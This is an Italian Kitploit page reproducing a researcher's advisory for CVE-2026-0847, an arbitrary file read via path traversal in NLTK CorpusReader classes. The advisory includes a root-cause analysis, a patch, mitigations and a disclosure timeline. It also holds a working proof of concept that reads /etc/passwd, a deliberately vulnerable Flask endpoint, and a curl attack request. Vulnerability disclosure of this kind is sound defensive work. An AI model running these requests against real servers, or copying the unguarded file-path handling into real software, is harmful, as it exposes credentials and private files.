Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-0847 — Una vulnerabilità nelle versioni di NLTK fino alla 3.9.2 inclusa consente la lettura arbitraria di file tramite path traversal in diverse classi CorpusReader, tra cui WordListCorpusReader, TaggedCorpusReader e BracketParseCorpusReader. | Kitploit
Strumenti/GitHubGitHub/hyperps/cve-2026-0847
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e Formazione
GitHubhyperps/cve-2026-0847

CVE-2026-0847

Una vulnerabilità nelle versioni di NLTK fino alla 3.9.2 inclusa consente la lettura arbitraria di file tramite path traversal in diverse classi CorpusReader, tra cui WordListCorpusReader, TaggedCorpusReader e BracketParseCorpusReader.

Vedi Repository
125 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-0847 — Classi Multiple CorpusReader di NLTK: Lettura Arbitraria di File tramite Path Traversal


Panoramica

CampoDettagli
ID CVECVE-2026-0847
Pacchettonltk (Natural Language Toolkit)
RegistroPyPI
Versioni Affette<= 3.9.2
Tipo di VulnerabilitàCWE-22: Path Traversal
Punteggio CVSS8.6 (Alto)
Vettore di AttaccoRete
Complessità di AttaccoBassa
Privilegi RichiestiNessuno
Interazione UtenteNessuna
Impatto sulla RiservatezzaAlto
Impatto sull'IntegritàBasso
Impatto sulla DisponibilitàBasso
Segnalato il4 dicembre 2025
CVE Pubblicato4 marzo 2026
Supportato daPalo Alto Networks / Prisma AIRS
StatoRisolto

Descrizione

Diverse classi CorpusReader nella libreria NLTK accettano argomenti di percorso file senza applicare alcuna canonicalizzazione del percorso, validazione tramite allowlist o restrizioni sandbox. Quando un attaccante controlla il nome del file del corpus o l'input file — uno scenario comune nelle API di machine learning, nelle pipeline NLP basate su upload e nei servizi chatbot — può fornire un percorso appositamente costruito per attraversare la gerarchia delle directory e leggere file arbitrari sul server.

Questa vulnerabilità è particolarmente critica nelle distribuzioni in rete in cui NLTK elabora percorsi file controllati dall'utente, poiché per sfruttarla non è richiesta alcuna autenticazione o privilegio.


Componenti Coinvolti

ClasseFileStato
WordListCorpusReaderwordlist.py L1–L120Vulnerabile
TaggedCorpusReadertagged.py L1–L140Vulnerabile
BracketParseCorpusReaderbracket_parse.py L1–L150Vulnerabile
Altre classi che utilizzano lo stesso pattern di base—In attesa di un audit più ampio

Tutte e tre le classi ereditano lo stesso metodo non sicuro CorpusReader.open(), che non applica alcuna restrizione sul percorso prima di risolvere e leggere l'identificatore di file fornito.


Impatto

Lo sfruttamento riuscito di questa vulnerabilità può comportare:

  • Lettura arbitraria di file — Un attaccante può leggere qualsiasi file accessibile al processo che esegue NLTK, inclusi /etc/passwd, /etc/shadow e /var/log/auth.log
  • Esposizione di credenziali e segreti — Chiavi private SSH (~/.ssh/id_rsa), file .env, token API e file di credenziali cloud possono essere estratti
  • Divulgazione di codice sorgente e dati di addestramento — I dati di addestramento di altri utenti o il codice sorgente proprietario dell'applicazione possono essere letti
  • Esecuzione remota di codice (in catena) — Se combinata con vulnerabilità di deserializzazione pickle, il path traversal può essere utilizzato per caricare file di modello dannosi e scalare fino alla RCE completa
  • Movimento laterale — Negli ambienti di microservizi, è stato osservato che i segreti estratti consentono il movimento laterale e il compromesso completo del server

Prova di Concetto

Queste informazioni sono fornite esclusivamente a scopo educativo e difensivo. Non effettuare test su sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test.

Lettura Locale di File tramite API Diretta

root@kitploit:~
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes

from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

root = FileSystemPathPointer("/")   # unrestricted filesystem root
target = "etc/passwd"               # any sensitive file path

print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])

print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])

print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])

Output (abbreviato):

root@kitploit:~
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

Scenario di Sfruttamento Remoto — API Flask Vulnerabile

Uno scenario realistico in cui NLTK è esposto tramite un'API HTTP:

root@kitploit:~
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

app = Flask(__name__)
root = FileSystemPathPointer("/")

@app.post("/read")
def read_file():
    filename = request.json.get("file")
    reader = WordListCorpusReader(root, [filename])
    return reader.raw(filename)

app.run("0.0.0.0", 8000)

Richiesta dell'attaccante:

root@kitploit:~
curl -X POST http://TARGET:8000/read \
     -H "Content-Type: application/json" \
     -d '{"file": "etc/passwd"}'

Risultato: L'intero contenuto di /etc/passwd viene restituito all'attaccante senza richiedere autenticazione.


Causa Principale

La vulnerabilità ha origine in CorpusReader.open(). Il metodo risolve il fileid fornito direttamente rispetto al percorso radice configurato utilizzando FileSystemPathPointer.join() senza eseguire nessuno dei seguenti controlli:

  • Rifiuto dei percorsi assoluti
  • Rilevamento della risalita delle directory padre (..)
  • Normalizzazione del percorso e confronto per imporre il confinamento all'interno della radice del corpus

Poiché FileSystemPathPointer può essere inizializzato con /, un attaccante che controlla l'argomento del nome file dispone di accesso in lettura senza restrizioni all'intero filesystem.


Patch Suggerita

Correzione minima proposta dal ricercatore, da applicare all'interno di CorpusReader.open():

root@kitploit:~
import os

normalized = fileid.replace("\\", "/")

# Block absolute paths
if os.path.isabs(normalized):
    raise ValueError("Absolute paths are not permitted.")

# Block directory traversal sequences
if ".." in normalized.split("/"):
    raise ValueError("Path traversal sequences are not permitted.")

# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
    os.path.normpath(self._root._path)
):
    raise ValueError("Path escapes the corpus root directory.")

La pull request di correzione upstream è disponibile su: https://github.com/nltk/nltk/pull/3479


Mitigazione

AzioneDettagli
Aggiornare NLTKAggiornare a una versione successiva alla 3.9.2 una volta rilasciata una patch ufficiale
Validazione degli InputSanificare e validare tutti i valori di percorso file forniti dall'utente prima di passarli a qualsiasi classe NLTK CorpusReader
Evitare Percorsi Controllati dall'UtenteNon consentire all'input utente di controllare direttamente o indirettamente l'argomento fileids di qualsiasi CorpusReader
Principio del Minimo PrivilegioEseguire i servizi basati su NLTK con un account utente del sistema operativo ristretto, con accesso in lettura limitato alla sola directory del corpus
ContainerizzazioneIsolare il servizio in un contenitore Docker o in una chroot jail per limitare il raggio d'azione di un traversal riuscito
Patch UbuntuMonitorare l'Ubuntu Security Advisory per gli aggiornamenti dei pacchetti a livello di distribuzione

Aggiornamento tramite pip:

root@kitploit:~
pip install --upgrade nltk

Verifica della versione installata:

root@kitploit:~
python -c "import nltk; print(nltk.__version__)"

Cronologia

DataEvento
4 dicembre 2025Vulnerabilità segnalata a huntr.dev dal ricercatore hyperps1
Dicembre 2025Team di manutenzione di NLTK notificato tramite huntr.dev
Gennaio 2026Il manutentore di NLTK ha validato la vulnerabilità; premio di divulgazione assegnato al ricercatore
Gennaio 2026CVE-2026-0847 assegnato
Febbraio 2026Preavviso di 48 ore prima della pubblicazione inviato ai manutentori di NLTK
4 marzo 2026CVE pubblicato su NVD e huntr.dev
5 marzo 2026Record NVD modificato l'ultima volta

Riferimenti

RisorsaLink
Voce NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-0847
Ubuntu Security Advisoryhttps://ubuntu.com/security/CVE-2026-0847
Record CVE Ufficialehttps://cve.org/CVERecord?id=CVE-2026-0847
Report huntr.devhttps://huntr.dev
Pull Request di Correzionehttps://github.com/nltk/nltk/pull/3479
NLTK su PyPIhttps://pypi.org/project/nltk/
Path Traversal di OWASPhttps://owasp.org/www-community/attacks/Path_Traversal
CWE-22https://cwe.mitre.org/data/definitions/22.html

Disclaimer

Questo repository documenta la CVE-2026-0847 esclusivamente a fini educativi, di ricerca e di sicurezza difensiva. Il codice proof-of-concept e i dettagli tecnici sono forniti per assistere sviluppatori, ingegneri della sicurezza e amministratori di sistema nella comprensione, valutazione e correzione di questa vulnerabilità.

Qualsiasi utilizzo di queste informazioni per accedere a sistemi senza esplicita autorizzazione è illegale e non etico. L'autore non si assume alcuna responsabilità per l'uso improprio delle informazioni contenute nel presente documento.

Contributori @mohitf070304

Scarica lo strumento